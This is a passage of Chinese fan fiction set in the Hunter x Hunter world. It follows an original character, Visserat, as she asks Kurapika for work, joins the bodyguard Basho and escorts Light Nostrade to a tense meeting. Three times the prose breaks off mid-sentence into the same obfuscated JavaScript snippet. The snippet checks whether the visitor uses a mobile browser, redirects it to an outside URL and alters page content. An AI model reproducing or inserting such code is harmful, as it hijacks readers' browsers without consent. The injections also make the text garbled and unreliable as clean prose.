“酷!拉!我的牙齿全部长齐啦,快看快看!你赶紧坦白,你的乳牙还差几颗没掉完?” “酷!拉!我昨天偷偷和派罗还有那个你认识的纳图亚去河里抓到了八条鱼,虽然我和纳图亚都都掉河里了好惨!你生气了吗?嘿嘿,不是故意,没有叫上你一起来的啦!” “酷!拉!我又长高了哟,有没有发现我现在比你高出了更多!啊?才不是我的鞋底变厚了!你快过来比比身高不就知道了吗?” “酷!拉!我——” 听她说过各种各样的事情。 好的事、坏的事、骄傲的事、丢脸的事。不管怎样的事,维瑟拉特会迫不及待地分享,叽里呱啦说一大堆,话语被编织得乱七八糟,理性全然消失无踪,只剩下情感在作祟。每次她这么话多,难免会让人忍不住担心她需不需要在说话的途中喝杯水润润嗓子。 那时候,酷拉皮卡总觉得,维瑟拉特的分享完全不是为了得到他人的反馈,而是纯粹的输出,是非要把自己心里的念头全部导出来不可的。否则她的话语怎么会像是瀑布那样,一刻不停地往下滚呢? 果然,人是不会变的,如同瀑布永远不停息的奔流一样,维瑟拉特依然是小时候的那个她。 酷拉皮卡的不安似乎能够沉下去了。他合拢手掌,不自觉扬起了嘴角,继续听她说。 “我并不是为了去见妮翁小姐所以才见到了她,如果要给出定义的话,那今天的会面就是纯粹的巧合。和之前的每一天一样,我今天没事可做,散步路上买了花,拿去给亚里砂,没有想到今天她的工作是在妮翁小姐的身边。总之就这么见到妮翁小姐了,她委托我提供自己的名字、出生年月日和血型,以此帮助她完成占卜,所以那时候我来找你问了。” “哦……” 酷拉皮卡眨眨眼。 原来当时的询问并不是出于她的好奇或是求知在作祟,只是因为占卜的需求啊。 倒不至于为此感到沮丧,但好像确实冒出了那么一丁点相当微小的失落呢。 维瑟拉特当然没有注意到酷拉皮卡搭上了一辆怎样的心情过山车,自顾自继续用一大堆废话说下去:“下午进行的占卜没有结果,妮翁小姐因此说自己已经不存在价值了,结束占卜之后她也没有向我下达更多的指令。我等待了一段时间,才确认她的确没有任何工作需要交给我了。哦,对了,最开始和妮翁小姐见面的时候,她问我在这个家里负责的是什么工作,我一点也答不上来。所以,酷拉老板,我想说的是,请指派我一些工作。” 酷拉皮卡稍稍愣了一秒,不知道是因为现在他才发现维瑟拉特对他的称呼依旧是难听的“酷拉老板”,还是她的这番过分冗长的话语并非是不求回应的分享,而是目的过分明确的请求——虽然加上了过多的废话。 他想了想,才给出回应。 “叫我酷拉就好了。”这件事最重要,他要放在第一句说,然后才是,“怎么突然提出了这样的请求?” 维瑟拉特相当配合地点点脑袋,“好的,酷拉。我只是觉得在这个所有人都忙忙碌碌的地方,自己什么都不做,感觉很奇怪。” 就像在夏天却裹上了貂皮大衣那样的奇怪。 “而且,你花钱买下了我,我需要实现价值。所以我必须做点什么。” 话语说得情真意切,尽管她绝不是那种感情充沛的家伙。同样,她也绝不是多么喜欢工作——说实在的,她暂时还没有找到什么喜欢的东西或事情,散步除外。 只是,与空空如也、格格不入的日常相比,她更希望自己能够做点什么。 “无论是这个家的工作,还是你想要实现的复仇,我全都可以帮忙。” 又说到复仇的事情了。酷拉皮卡如鲠在喉,沉默了几秒,还是无法给出明确的肯定或是否认,只说出一句略显拐弯抹角的:“……我不希望,你会因为我让你做了什么而遇到危险。” 好奇怪,无论是酷拉皮卡还是亚里砂,似乎都很在乎“危险”,或许是危险最终的导向总会是死亡。可她又不会死,为什么总要替她担心这种事? 这绝对是个复杂的问题,是维瑟拉特无法想明白的事情。很清楚这一点的她,从最初就直接放弃了思考。 所以,她会说:“我不会死。” “不。我们是脆弱的人类,一定会死去。今日,或者明日,有朝一日。”酷拉皮卡不想说出太尖锐的话,可面对着完全没有危机感的她,他必须要说,“你只是还没有遇到真正会影响到性命的危险而已。” “是吧。” 维瑟拉特看起来很平静,并未被刺痛分毫。她就事论事,而且她也已经被允许说出想说的话语了。 “我好像还记得你说过,等到火红眼的传闻彻底平息之后,我就可以离开这里,过自由的人生。按照你的说法,到时候我也可能会遇到你认为的生命危机。” “……”是了,是了,还有在那之后的未来呢。 酷拉皮卡感到一阵微妙的心虚,视线根本无法在她的身上停留,只能无力地扫过空气。 他第一次意识到,他是那么不希望维瑟拉特死去——连“寿终正寝”这样的结局在他心里居然也算是糟得不行。 能给出完美的回答吗?能有百分百正确的道路吗?一定没有。 否则这一刻从他僵硬的双唇中漏出的话语绝不会是“诺斯拉家可以一直一直保护你”。 “我明白了。”维瑟拉特摸出香烟,却不急着点燃,空气里飘着一丁点的烟草味,“你要把我永远无所事事地囚禁在这里,就像那个人以前对我做的……” 像那个人以前对她做的那样。那个人是谁? 她好像是无意识说出这话的,记忆却没有追上,只有话语在空空荡荡的大脑中回旋。 酷拉皮卡没有错过,“你想起什么了吗?” “是吧,或者不是。” 维瑟拉特终于点燃了火柴,深吸一口,把混浊焦味的烟雾吞进肺里。 “应该是以前有人把我关了起来,想让我成为,某种工具吗?这是发生在在我到便利屋之前的事情吧……我想不到更多了。” “……好。” “我刚才碰到了旋律,她说我的心跳听起来不愉快。说不定我不愉快的就是这件事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960010|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明白了。” 现在酷拉皮卡稍稍冷静下来了。 他当然不想说自己的行为是“囚禁”,可他的想法在维瑟拉特看来,确实会与不自由和不愉快画上等号,哪怕他的动机并非恶意。 思考着她的事情,一定会不可避免地回想起□□,铁球一样细细密密的子弹直接砸碎了她的脸,温热的血肉飞溅到他的脸上,那一刻的他甚至还来不及将重逢的欣喜消化完毕。 但她没有死。 温热的血肉从他的脸颊上抹去,一切破碎的再度变得完整。她没有死。他们再度重逢。 或许,他应当试着去相信她的话语吗…… 这一定是个重大的问题,也一定需要耗费许多的时间。自己到底思考了多久?酷拉皮卡没有具体的概念,只知道回过神来,她手里的香烟已经燃尽了。 准确地说,她已经抽完了盒子里剩下的所有香烟,最后的这一根也已经烧到了烟屁股。她很耐心地等待着酷拉皮卡的回复。 害她等了这么久,真的不能说出半点让她失望的话语了。酷拉皮卡深吸了一口气。 “抱歉。”最先说出的是这句话,“你的需求,我会实现的。” 维瑟拉特用手指捏熄烟头,随手弹到一边,“没关系。谢谢。” 这段不算太愉快的对话迎来了还算愉快的结果,可能酷拉皮卡还是会为她感到不安,反正她终于能够摆脱诺斯拉家族无业游民的身份了。 也终于更多的了解了这个家的事。 照酷拉皮卡所说,诺斯拉家族目前相当内忧外患。具体是怎样的内忧和怎样的外患,他倒是没有说太多,而且就算说了她也一定不会认真听的。 维瑟拉特有在稍稍用心听的那部分是,她最近可以和保镖队的芭蕉一起行动,负责整个诺斯拉宅邸的安全保障。 听起来还挺简单的,毕竟维瑟拉特以前就很干这种安全保障的工作——比如像是对指定对象进行暗杀以及对可疑目标的进行控制之类的。只要提前把可能对雇主造成危险的因素排除掉,就是“安全保障”没有错。 不简单的部分可能是要找到芭蕉是何许人也。在整个诺斯拉家,她认识的人一只手就能数出来,而其中号不是每个人都能叫出名字。 “芭蕉还挺好认的。”酷拉皮卡说。 根据他的说法,芭蕉此人高个子且魁梧,为人很豪爽,一般在庭院一角的别苑出没。 于是维瑟拉特过去了,见面了才发现他就是那位鬓角和胡子连在一起的家伙——明明一开始就说他胡子很有特色不就好了,这么描述的话还更加好认一点呢。 “你就是新来的?哼哼,看起来有点太秀气了呢。”他搓着胡子,从怀里摸出一块小木板,“作为见面礼,给你写一首诗吧。” 毛笔刷刷刷,木板上果真出现了诗句。 「樱雨落纷纷 古枝垂泪送残春 苔阶印展痕」 他把小木板怼到维瑟拉特面前,粗壮的指尖都透着一种不可言说的得意。 “我的新作,如何!” “……” 她看不懂。 16.文学造诣x夸赞x新外号 总觉得情况变得有点奇怪,而其中最诡异的一部分显然是,维瑟拉特收到了一首诗——并且这是一首她看不懂的诗。 啊,她所说的“看不懂”绝不是不识字的意思。尽管她记事情的本事一向不太行,且因为经常遭受重伤导致所剩不多的那点记忆也会时不时就会清零,但她对于文字的认知水平一直都保持在正常水平。至于在这个基础之上更加重要一点的鉴赏能力嘛……就有点见仁见智了。 维瑟拉特只能说,她已经完全不记得自己上一次读书行为究竟是在什么时候什么地点什么场合了。 她迟疑了,很难得地忘记了自己的职业操守,沉默着说不出话来。 可能是因为她的表情看起来实在是太冷静了,从始至终都没有露出过半点奇怪或是犹豫的神态,连眉毛都没有拧一下,平静得出奇。这样的表情让她反而看起来显得分外认真,也难怪芭蕉会将她难以言说的这份沉默误认为是正在思考的迹象。 面对着自己的大作能够思考这么久,想必一定是在认真地研究吧。不错不错。 实不相瞒,芭蕉现在感到非常满意。 本来他还以为这个新来的小孩只是被酷拉皮卡硬塞进来,一个走后门的讨人厌关系户而已,没想到还挺有品味的嘛,面对文学的态度也很不错? 芭蕉这么想着,胸膛不自觉挺得更高,一大清早花了不少时间打理的漂亮胡子都要翘起来了。 “你想到了说什么就说什么吧!”他颇为大度地这么说着,“我接受你的一切夸奖!放心,我绝不是什么会被过分的夸奖捧杀的柔软家伙!” “……哦。” 维瑟拉特摸摸脸颊,还是感到有些迟钝。 一开始听到芭蕉说出“想说什么就说什么”的时候,她还以为自己可以表达出任意的观点,但紧接着的一句“接受你的一切夸奖”,意思是她能说的只有夸奖,对吧?如果只允许说夸奖话语的话…… 好吧,她真的不懂怎么夸人,以前好像也没有做过类似的事情呢。 毫无准备地就被赋予了这么一个相当重大的工作,维瑟拉特久违地感觉到重大的压力正压在自己的肩上。可能是不安或者别的什么心态在作祟,她控制不住地一直在乱动,尤其是右手,从脸颊摸到鼻尖,又扯了扯耳垂,挠完脑袋之后才揣进口袋里,可就算是藏进了口袋里,指尖还是忍不住一直动个不停,仿佛动得越多,就能够冒出更多的想法。 耗费了三分四十秒,她终于开口了。 “首先……您的字写得很漂亮。” 她决定从最显而易见、最容易成为夸奖点的这部分开始说起。 “另外,字的大小都写得很一致。”为了证明这句夸奖绝不是空穴来风,她立刻添上一句,“这种事我就做不到。我写的字完全无法保持一致。” “哦——”芭蕉垂下手,不再抚摸心爱的胡子了,表情认真到显得有几分严肃,“还有呢?诗的本体如何?” “本体……” 啊,大脑好累。思考真的是一件很疲惫的事情。 维瑟拉特张了张嘴,话语滞后了三秒之后才迟迟地来到空气之中。 “诗的本体也很好。我是说,非常好。这个‘樱雨’写得很精准,虽然我没见过樱花但感觉写得很妙。还有这个‘残春’,我一看就觉得很贴切。另外这个‘苔阶’……因为这个词我不认识所以我觉得很厉害。” “嗯——嗯——” 芭蕉慢悠悠地点着脑袋,发出那种像是吃到绝赞美食的时候才会发出的绝赞声音,却叫人听不出他到底是被夸奖得心满意足了,还是觉得这些只有皮毛的话语远远不够。但从他忍不住眯起眼睛的小动作之中,多少能够窥探到一点他窃喜的心情吧。 没错,就是维瑟拉特这种程度的蹩脚夸奖,都已经足够让俳句大师感到心满意足了——很让人怀疑他是不是一直都没有被好好地夸过。 无论如何,他满足了! 真不愧是酷拉皮卡介绍进来的新伙伴,这孩子果然是是超级有品大好人——她在芭蕉心中的地位就此彻底升华了。 后来维瑟拉特才知道了他对于写出好诗的执念源于何处,原来他的能力是将写在卡片上的俳句变成现实,诗写得越精妙,能力兑现的效果就越好。感觉还挺厉害,是了不得的念能力。 不太好的部分,可能是他对写出好诗的执念好深。 一向对于自己的工作还有合作的对象没有什么特别想法的维瑟拉特,第一次冒出了很深切的期待,希望芭蕉的执念可以稍稍消减一点。要用不同的方式夸奖完全看不懂的诗句,她真的已经黔驴技穷了(说起来,这个词是从芭蕉的诗里学来的,唯独在这一点上可以感谢芭蕉)。 暂且抛开文化学习不说,和芭蕉一起负责的工作还算轻松,绝不是什么艰难的工作。对于诺斯拉宅邸的安保工作,没有什么是一定需要从零开始做起的,毕竟这个家早就已经做好了万全的保全设计,他们的工作更多是对现有的安保设施和通讯设备进行查缺补漏,时刻确认各处是否有可能会被突破的漏洞就好。尤其是对外通讯的部分,芭蕉抓得格外严谨,似乎是首领下了命令,要最大限度地限制宅邸对外的联络,所以他们有好大一部分时间都在院子里安插信号干扰器。 “这完全是大材小用嘛。”有时候会听到芭蕉这么抱怨。 这么说着的他也不是真心的不满,只是忍不住进行一些当牛做马的人特有的吐槽罢了。 “我可是职业猎人,当初能被应聘到诺斯拉家的保镖工作完全是因为我能力很强嘛,结果现在只能干点这些没有太多营养的活计,真是——” 维瑟拉特听着他的抱怨,听得不那么认真,却也没有完全分心,很适时地在他开始叹气的时候“嗯”了一声。 “说起来,红毛你是猎人吗?” 他忽然冒出这么一句。 ……“红毛”? 维瑟拉特完全没有意识到这个称呼指代的对象是自己,只四下看了看,心想自己怎么完全没有听到第三人靠近的脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964863|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是怎么把“红毛”的称呼和自己关联起来的,维瑟拉特自己也说不清楚,很可能是因为芭蕉随后又来了一句“红毛你在看什么呢?”,并且这话还是他盯着自己的眼睛说出来的。 “我的名字是维瑟拉特。”她很认真地说,“我不是猎人。” 猎人是什么东西?好像没有听说过,或者是以前听过但是忘记了。 芭蕉满不在意地摆摆手,“我知道你的名字是这个,但有点长,想着缩短一点比较好。你要是不喜欢,我就不说了。” “……” 该怎么说呢,也谈不上喜欢或者不喜欢。外号就和工作一样,是她不会拒绝也不打算主动接受的东西,可要是必须做出二选一的决定,她通常还是会选择接受吧。 所以,她说:“怎样都可以。” “你这孩子,很逆来顺受啊。”芭蕉开始从怀里摸出写诗用的卡片了,“虽然逆来顺受肯定不是什么坏习惯,可要是太顺从的话,肯定不会是好事。唉,为你的未来写首诗吧!” 又要写诗了……意思是她又要准备好不重样的夸奖了…… 维瑟拉特也把手伸进了怀里,她要掏的是香烟。现在可能只有尼古丁才能激发她的夸奖灵感了吧。 还好还好,香烟尚未点燃,必须要被夸赞不可的诗句也还没有写完,就有新的差事过来了。 和一直在确保的宅邸安全稍稍不同,现在是莱特·诺斯拉想要见他们。 办公室厚重的大门打开,忧虑到显得有点懦弱的这个家的主人站在桌旁,一只手撑着桌面,另一只夹着雪茄的手被尼古丁熏得有点微微发黄,真不知道他今天抽了多少支烟。不过这雪茄的气味闻起来好像很好抽的样子,维瑟拉特心想。 只看了一眼老板,她立刻收回目光,绝不多看半秒钟。能感觉到从角落里投来的视线落在了自己的身上,维瑟拉特花了点时间才意识到这是酷拉皮卡在看她。不晓得他现在是什么表情,维瑟拉特知道自己猜不出来,也不存在想要揣摩他的心思的念头。 叫来了下属,莱特却不急着说点什么——也很可能是根本没有整理好心情。他只是一支接着一支把昂贵的雪茄燃成灰烬,把办公室熏成没人喜欢的烟雾缭绕的状态。 如果怕要用雪茄去丈量度过的时间,那一定是在好一阵之后,才听到他说:“后天我将会有外出的计划。这件事我已经和酷拉皮卡说过了,现在也说给你们两个人听,因为宅邸的安全目前由你们在负责。” 芭蕉配合着点头,“是。” “过往一直和我们有合作的家族邀请我后天前去商谈,商谈的主题是占卜业务是否能够重新开启。我没办法拒绝不去,想必后天一定需要给出一个确切的回答。虽说是合作关系,但谁也不知道要是他们不满意了会触发怎样的结果。我需要有人在我离开的期间确保宅子和妮翁的安全,也需要有至少两个人保证我可以安全地回来,所以……保护我的工作交给你,新来的。” 最后的一句话,他对着维瑟拉特说。 17.烟叶x我理解你x才怪呢 如果维瑟拉特在莱特说话的时候抬起眼睛,很容易就会发现,他的视线一直落在自己的身上。 当然,就算是她的眼睛一如既往且从始至终都只指着地面,也能感知到这个只能由“如果”触发的事实。 真神奇啊,人的目光。明明是无形之物,存在感却强烈得可怕,尤其是在久久停留之后,全身上下的每个感官都会开始尖叫“你被盯上了!”的事实,根本没办法不留意到。 维瑟拉特平静地听着,不发一语,只在莱特抬起的手指切实地指向了自己之后,才给出了适当的反应。 “了解。” 她顺从地将头颅垂低,不再说更多无用的话语。 维瑟拉特的反应还是很能让老板开心的,尽管莱特心里还是忍不住冒出了一些微妙的念头,认定她恭顺的行动更像是演技在作祟。 这种事想想就让人生气,无论谁都不希望成为被演技哄骗的家伙。莱特小发雷霆,不打算把恼怒的心情显露无疑,立刻藏起了不爽的面孔,倒是烟头被他用力地揿进陶瓷烟灰缸,粗暴的动作将卷得齐整而漂亮的最后那截烟叶压得好皱。 “我听说过你之前的事情,也知道你在友克鑫黑市便利屋漂亮地完成过很多的任务。想一想就知道,便利屋那种乱七八糟的地方,不是什么值得长久停留的工作地点,不可能会有人想要一直做这种不安稳的工作。也就是说,我很理解你想要来到这个家的心态。” 他说着,完全没有意识到令人生厌的傲气把他的下巴抬得太高,害此刻他已经不是用眼睛、而是在用鼻孔注视着他的手下了。 同样没有被莱特注意到的另一点是,此刻办公室里的气氛正透露着一种诡异的僵硬,无论是被点名的还是没有被点名的他的部下,谁都不想搭腔。莱特以为是自己权威的力量,洋洋自得地继续说下去。 “小姑娘,我理解你,所以我知道,你会向往安稳而强大的诺斯拉家,是情理之中的事情。这个家呼应了你的向往,你也需要向诺斯拉家证明你的价值和忠心。这是你展示自己的机会。后天的出行,你要和酷拉皮卡一起保证我的安全。” 直到今天,他都没有察觉到维瑟拉特是花了五亿戒尼才得来的,只当她是自动投诚的新伙伴。必须怀有一定程度的戒心才行。 他早就计划好了,如果她做出任何可疑的行动,就立刻命令酷拉皮卡压制住她。和免费得来的下属不同,酷拉皮卡是他眼下最信任的人——拥有执照的猎人做起事情来就是不一样,在莱特看来,他是比不小心丢了命的达佐孽更加靠谱的家伙,还主动承担起了诺斯拉家绝大多数的事务性工作,尽最大效用地调配家族的人手和资源,这才不至于让深陷水火之中的诺斯拉家在外人看来状况不佳。能做到这一切的下属,不对他抱有信任才是比较奇怪的事情。 话虽如此,信任难以向下让渡,他不会把同样的信任放在维瑟拉特的身上。 但可能是这份信任麻痹了自顾不暇的莱特·诺斯拉,让他完全没有意识到账面上五亿戒尼的漏洞。也可能是酷拉皮卡真的把这个事实掩盖得太好了。 如果是在旁人的眼里,他的警惕心思肯定多多少少会有所暴露。莱特可不是什么深藏不露或是精于筹谋的家伙。真该庆幸他对话的对象是维瑟拉特,她一点也不会去想这么复杂的事情。 对她来说,只要接收指令、完成指令,就足够了。不需要进行更多无意义的行动。 “说老大的坏话不太好,不过老大有时候确实很讨人厌啊。” 当办公室的厚重木门逐渐从背后远去时,听到芭蕉这么说。 这话不是疑问,也不算陈述,维瑟拉特不确定该怎么回应才好,选择了沉默,倒是让芭蕉挺不开心的——他可是在替红毛抱不平,才发表了上述言论的啊。 “你就半点不爽都没有吗?”他纳闷得要命。 维瑟拉特很懵,“没有。” “所以之前有人来和我们吵架——就是设置完信号干扰器之后宅邸里彻底没信号搞得大家连消息都发不出去的那一回,你也不觉得生气吗?” 她摇头,“不。” “啊——没救了!”芭蕉彻底对她失去期待了,“你这家伙果真就是个逆来顺受的家伙!” “……?” 莫名其妙的。维瑟拉特更不知道该怎么回应才好了。 还好,酷拉皮卡就不会和她说这种话,虽然总觉得他的表情也和芭蕉差不太多——换言之,就是愤恨和失望的集合体。不过酷拉皮卡完全不提工作的事情,只提起了今天中午的三文鱼寿司,说着很无聊、很日常的话题。 “诺斯拉家的厨师很少做这种异国的食物呢。估计是妮翁说想吃吧。”他大概想到了什么,忽然笑起来,“之前猎人考试的时候,有一场试炼就是要求试炼者做寿司。那时候我根本没有听说过寿司是什么,做出来的东西完全不合格。” “是嘛。” 维瑟拉特的回应一如既往的平淡。她也不是不感兴趣,但确实没有那么好奇。不过…… “酷拉,你是猎人吗?”她问。 因为酷拉皮卡允许她说出一切,所以她说出了心里忽然冒出来的想法。 酷拉皮卡的嘴角一点也没有掉下去,就这么笑着点了点头,“是的。” “芭蕉之前问我是不是猎人,我说我没听说过这个。” “那你现在知道猎人是什么了吗?” “知道了。” 芭蕉有一次告诉了她猎人的定义。主动说的。但酷拉皮卡可能以为是她主动询问才得到的答案,忽然觉得安心了好多。 看嘛,小维的好奇心一如既往。 “我在想呐。”他说着,顺势补上一句,“因为说到猎人的话题了,所以我突然想到了这个。我想,以后你也可以成为猎人。” 维瑟拉特带着一如既往平淡的表情,“哦”了一声。 酷拉皮卡接着说:“猎人的工作会很有趣的。你以前就喜欢去各种地方探险,不是吗?成为猎人之后也还是可以做一样的事情,有猎人协会的保障完全不用担心经济问题。你可以成为遗迹猎人,像小杰的爸爸那样——还记得小杰吗?我和你说过的?他是我在猎人考试中认识的朋友。或者动物猎人也很不错,你一向很讨动物喜欢。” 很奇怪,在说出最后这句话的时候,酷拉皮卡想到的并不是小时候捧着山洞里的小老鼠的她,而是在友克鑫狭窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970617|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽暗的小巷,被她一脚踩死的老鼠。他的话语一定也是因此才突兀地中断的。 “总之。”他花了几秒钟,重新拾起话语,“你可以成为猎人。” “好。” 一如既往,很平淡的回应。有时候酷拉皮卡也不知道她所说的“好”,究竟是真心的想法,还是纯粹应付的回应而已。 这不是什么令人愉快的苦恼,他干脆不想了。 明日的明日很快就会到来,完全没怎么用心度过,与合作家族会面的时刻就到了。 莱特·诺斯拉看起来分外紧张,不停地拉扯着领带,好几次都把系得很漂亮的领带扯散,害得男仆不得不时刻待命,一看到他抬起手就立刻冲过来补救。 等待司机把车开过来花了点时间,且这点等待根本没有换来适当的结果。司机说自己突然肠胃炎,怎么也没办法开车了,这份工作只能落在维瑟拉特的身上。 可以松一口气的事情是,她唯独在开车这件事上记忆力最好,完全没有忘记驱使这辆四轮器械的技巧。 “等等。” 在打开车门之前,酷拉皮卡忽然叫停了她的动作。 他绕着整辆车检查了一遍,从一眼就能看清的座位到常人难以察觉的引擎盖内部,完完全全看了一遍,还好没有任何会让人不安的东西存在。 既然如此,就上车吧。 和合作的家族会面,要是带上一大堆的随从和保镖,可就太不礼貌了,完全是在明晃晃地诉说着“我对你们不放心”,决不能这么做。出于这层考量,今日只会有维瑟拉特和酷拉皮卡两人陪同前往而已。 驶过两个街区,莱特·诺斯拉的表情终于从紧张过渡到了不高兴,真让人搞不懂他的心情,反正维瑟拉特觉得自己的车技没有差到会让人露出不爽表情的程度。 GPS带着他们穿过最热闹的市中心,来到临近的隔壁城市。会面的地点位于城郊的洋馆,是隶属于合作家族的资产。这一带看起来静悄悄的,不繁华也不热闹,这家的侍从早早地就开始指引停车的方位了,不过维瑟拉特完全没有参考对方的指引,自顾自的把车泊进距离出口最近的位置,停得稳当且漂亮在所有人走到车外之后才熄火下车,走在最后方。 “你们俩稍稍把眼睛睁大点。”莱特说这话的时候几乎没有动嘴皮子,“可别让我被正面袭来的攻击杀死了。” 看起来似乎是对于自己走在最前方这件事感到不安。 老大都这么说了,维瑟拉特觉得自己很有必要遵从他的想法,移动到他的前方,以免他首当其冲。 才刚往前大步迈进了一步,酷拉皮卡拉住她的手,微不可查地轻轻摇头,随即立刻对莱特应了句“没问题”。 维瑟拉特可能不会理解,酷拉皮卡摇头的意思是想说,莱特绝不是那种会乐意看到下属走在自己前方的人——他还挺小心眼的,就算处在如今这种囫囵之中,他依旧怀有自己的那点无意义的固执。 尽管对莱特的本性与酷拉皮卡的暗示全都不理解,至少维瑟拉特明白那轻轻的拉拽和摇头意味着什么。她配合地放慢了脚步,保持着和酷拉皮卡一样的步调,缓慢地走在莱特的身后。 他们步入洋馆。 18.羞辱x等待x快点跟上来 每当说到洋馆,大概很容易就会联想到闹鬼的传说或是杀人事件,或是诸如此类阴森森暗测测的事情。这都得感谢当下的文艺作品总把恐怖故事和洋馆联系在一起。 说不定现在的莱特就是想到了这种事,所以他的脚步才一点一点变得拖沓起来,鞋底几乎要粘在大理石地砖上,让人担心是不是因为地面太过滚烫。 可要是再拖沓下去,绝对会错过会面的时间。到底是更不想面对即将到来的会谈,还是更不情愿因为自己的迟到而被席间的各位冷嘲热讽,哪种可能性都痛苦得要命,不分上下,莱特根本不知道自己想要选择哪个地狱跳进去。 不管怎么想,比起难熬的痛苦,貌似还是面子更重要一点,不管怎样都不想当“朋友”们眼中不知礼数的迟到家伙。 想通了这点之后,莱特终于迈开步伐,以不太坦荡、看起来仍有些畏畏缩缩的姿态迈入洋馆。 约定的时间是午后两点,他在这个时间节点到来的五分钟之前迈入洋馆的大门,正准备沿着熟系的路线步入会客厅——毕竟这里是合作伙伴的地产,他也不是第一次来到这里了——却很突然地被管家模样的女性拦下了。 “抱歉,兰格雷先生先生正忙,不便见客。”管家优雅却死板甚至略带冰冷地说。 莱特感到很莫名,一时都忽略了自己被阻拦的羞耻感,匆忙说:“兰格雷先生与我约定好了,会在这个时候与我商谈业务事宜。” “啊,原来是诺斯拉先生。欢迎您的到来。” 管家露出恰到好处的惊讶表情,似乎是在这一刻才认出前来拜访的客人是诺斯拉的当家。她毕恭毕敬地朝着莱特一颔首,但看起来却不像是真的有那么尊敬。 既然只是疑似的不尊重,那莱特根本没办法对此发火。他不想被人觉得自己是在大题小做,只能忍住。 “既然你认出了我是谁,就该带我去见兰格雷先生了吧?” “是的,我已经得到了诺斯拉的当家今日会前来拜访的消息,但您是不是来得稍早了一些?”管家笑了一下,露出那种恰到好处的茫然表情,“我被告知的是,诺斯拉的当家将于晚间抵达。我基于这个时间对兰格雷先生今日的日程进行了安排,目前他腾不出会面的时间,实在无法带您前往兰格雷先生先生处。或许您可以在这里等待一会儿?我想,稍后兰格雷先生会腾出时间来见您的。当然,我也无法为您做出百分百的保证。” 冠冕堂皇且过分合理的话语,说得仿佛莱特·诺斯拉才是那个犯下迟钝错误的存在。 莱特一下子被说懵了,回头去看酷拉皮卡。 这完全是下意识的动作,他习惯性地向最信任的下属确认,想知道是不是他给到自己的信息有误。但在对上了酷拉皮卡那双冷静的黑色眼眸之后,他才迟迟地想起来,与兰格雷的会面时间以及地点都是对方直接通知给他的,并未经过任何下属之口,他得到的本就是不假他人之手的第一道信息。 也就是说……对方在故意折腾自己吗? 莱特知道的,自从妮翁失去占卜能力之后,自己在旁人眼里的形象已经变成了很简单也很纯粹的存在——不成气候的废物、德不配位的首领、可供分食的肥肉。 尽管对此心知肚明,可居然要被人这么戏弄,还是曾经说着要与他一起创下更壮阔未来的曾经的朋友,真是可耻又可恨。他悄然攥紧拳头,心想,有朝一日,他会将此刻的羞耻加倍讨回来的。 当然了,在这一日到来之前,他依旧不会表现得无能狂怒的。正如此刻,他依旧笑得礼貌,对代表了整个家族态度的管家说,自己还是晚点再到访吧。 “劳烦您多走一趟的话,未免太辛劳了。”兰格雷的管家倒是选择在这时候表达出了一丁点的体谅,可惜并非真正的谅解,“还是请您先移步至小客厅吧,待兰格雷先生空出了会面的时间,我会请他尽快来见您。” 这肯定不是贴心的安排,完全是继续戏弄他的连环诡计。即便如此,意识到没有太多选择的莱特,还是只能送上一句“有劳”,让酷拉皮卡陪同着一起走向小客厅。 “辛苦你在这里等待。”他对维瑟拉特说着,悄然压低声音,“留意好这里的情况,有任何异常都要尽快通知我。” “好。” 他们的悄声对话没有漏到更多人的耳中,正如谁也没发现,酷拉皮卡在无人留意的某个瞬间微不可查地皱了皱鼻子,许是对莱特见外地留着维瑟拉特在原地待命的安排感到不满吧。 至于维瑟拉特自己嘛,她是觉得无所谓。不管是好工作还是烂工作,她都会完成。 但不可否认的是,原地待机的确是相当乏味的差事。这里没有旁人,也听不见太多声音,更察觉不到任何异动,看来到时候没办法给到莱特他想要的答复了。 思来想去,这差事唯一还算不赖的部分是,洋馆大厅的暖气处在一种恰到好处的不足状态,否则她很可能会在自己完全无知的情况下昏睡过去。 午后最刺眼的那阵日光落下之后,天色就逐渐暗淡下去了,很快迎来日落时分,汽车驶过的声音听起来更杂乱了些。 傍晚也短暂,落日并不情愿在地平线踟蹰太久,夜空迅速地侵染天空,阴沉的夜晚见不到星星。 夜晚总显得很漫长,至少维瑟拉特常常会有这样的想法,具体的原因却说不出多少。她枯燥地继续等待,感到不太温暖的暖气正在抽干体内的水分。 过了挺久——连维瑟拉特都认为久了——终于听到有脚步声朝她靠近过来。是莱特和酷拉皮卡。 